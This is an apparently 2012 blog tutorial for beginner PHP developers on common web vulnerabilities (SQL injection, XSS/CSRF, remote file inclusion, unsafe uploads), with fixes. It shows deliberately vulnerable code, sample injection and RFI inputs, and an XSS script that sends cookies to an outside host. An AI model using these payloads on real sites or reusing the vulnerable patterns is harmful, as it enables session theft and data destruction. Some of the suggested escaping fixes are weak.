Thursday 23 February 2012


Protection and Methodologies of Security Vulnerabilities in Web Development
Security in web development
Our new article focuses on security in web. Many beginners (and not only) web programmers sometimes can make mistakes when developing its web applications. Our article is intended to eliminate potential gaps in knowledge web developers. It is quite possible that you already know something, but I’ll be incredibly happy if you learn anything new. Today we learn about most popular exploits (with samples).

For the beginning – a few basic terms:
·        SQL injection – unauthorized execution of SQL queries
·        DoS/DDoS – Denial-of-service / distributed denial of service attack
·        XSS Cross-site Scripting – injecting custom scripts to web pages
·        CSRF Cross-site request forgery – allows you to perform different actions directly in browser
·        RFI/LFI – Remote / Local file including.

 

1. SQL injections



It is quite possible that most developers already know about this vulnerability (and always check all incoming data before using it in SQL). But sometimes overlooked. And let’s say they write code like this:

tests.php

1
$iId = $_GET['id'];
2
$sSQL = 'SELECT * FROM `Profiles` WHERE `ID`=' . $iId;

3
$aRes = db_get_arr($sSQL); // execution of SQL and collecting result as array
4
echo $aRes['NickName'];

So, they intend to take the parameter ‘id’, find the user in the database with that ‘id’, and to display his name. But a hacker does not sleep. If in normal way your page should be like: tests.php?id=5, hacker can make:

tests.php?id=-2 + union + SELECT * FROM Profiles WHERE ID=89
as example, or even
tests.php?id=-2 + union + DROP TABLE Profiles
Bad, isn`t it? That is why we never must believe to all income parameters. And – make params safe, as example:

1
$iId = (int)$_GET['id'];
2
// or

3
$iId = mysql_real_escape_string($_GET['id']);

1.2. SQL – DoS attacks

Commonly – DoS attacks is attempt to overload your server, so it will unable to serve other customers. Or this access will difficult. I give you one example (also in PHP):

tests.php

1
$iLim = (int)$_GET['max'];
2
$sSQL = 'SELECT * FROM `Profiles` LIMIT 0, ' . $iLim;

3
$aRes = db_get_all($sSQL); // execution of SQL and collecting all result
4
foreach ($aRes ...) { .. doing something .. }
Firstly – nothing bad here, right – all pretty safe, … but, imagine that we having 1 million records in table? This SQL request will overload server in this case. And what if same request (to open that link: test.php?max=1000000) will executed from several computers in same time? Not sure that your server will happy :)

 

2. XSS/CSRF

Usually, HTML injections possible to divide into two types: active and passive. Active – malignant code (html/js) embedding into database (as example – forum post, blog entry etc). In this case – that bad code will execution always in time of drawing its content (as forum page). Passive – html/js code will executing directly by accessing the script with a pre-defined parameters. An example – some search form, when, after filling it with html code it will be implemented in the search results. Here are one of usual methods:

1
<script>
2
document.write('<img src = "http://mysite.com/code.php?params=' + document.cookie + '">');

3
</script>

In this sample we will passing logged member cookies to another website (hidden). Or another sample:

1
<img src="http://mysite2.com/image.png" onmouseover="javascript:DoSomethingBad();"></img>

Similar security hole was found in phpBB in 2002 (as example).


So about CSRF, this is similar, this using http protocol flaws. Most popular sample – hidden doing some actions (as example – entering to some payment website, transfer money to attacker`s account, or sending spam from you to your contacts)

3. RFI/LFI



You must be very careful if ‘register_globals’ server param is ON. It will allow to include remote files and execute them. Here are sample of bad code:

index.php

1
<?
2
...

3
$module = $_GET['module'];
4
include ($module.'.php');

5
...
6
?>

Even if you will use $_POST – this will unsafe too. More, I don`t recommend to use similar code at all (to include/require_once/include_once/require/create_function of incoming data). Firstly we even not checked it what is it. And this is very bad. Hacker can do:
http://yoursite.com/index.php?module=http://remotesite.com/bad.txt

In this case hacker able to accept even full access for execution at your server. Commonly hacker will able just pack his PHP code in this txt file and have access to all your inner variables in place of ‘include’ calling. Just interesting – txt files is most popular file format for this purpose. So, as solution – always checking what you got outside in your $_GET['module'] – better even through SWITCH CASE.

 

All rest most popular errors during creating websites:

Enabled Debug on LIVE website

Sometimes can happen that during errors – website display any error logs (using ‘var_export’, ‘debug_backtrace’, ‘debug_print_backtrace’ or similar ‘useful’ output logs. Hacking become more easier when attacker can reveal the full path to the web directories, and knows values of all various internal variables. As protection – don`t display errors with any important info, display or short text: ‘Sorry, Error’ (and write log to some local server file), or just call die. It will more safe than hack attempts.

 

Directory indexing


Try avoid to display listing of files/folders of any folder of your project. Thus, the hacker can not study the structure of your site. This is possible with .htaccess file as example:
1
Deny from all

 

File Upload

This is one of most important step. NEVER allow to hacker to save file (through upload) as is at your server. Always check MIME type of all files, and allow only necessary types. Secondly – don`t save file with original extension. It always can happen that hacker uploaded some shell script (even in TXT format). So this will bad if hacker will able to execute it – you can just imagine. In result – save all uploaded files as some cache files (with random names and without extension) – keep it safe. Also, keep in mind, in case of necessity of conversion/unpacking of archives – carefully with Names of files and its Sizes. This is possible that bad person packed huge file (to many gigabytes) into small archive (few KB). This is possible if content of file filled with something repeated, as example ’0′. And, ufter unpacking such file you can get DoS too.

Source:

.svn files

Here you can read two interesting stories:
http://techcrunch.com/2009/09/23/basic-flaw-reveals-source-code-to-3300-popular-websites/
http://h30499.www3.hp.com/t5/The-HP-Security-Laboratory-Blog/Is-your-svn-showing-like-3300-other-sites/ba-p/2408752

Conclusion

Today I tried to make common review for common attack methods. Hopefully article will interesting to most of beginners. I hope that you never will hacked and you will able to create proper protection.
Good luck!
Have  a hack day!!..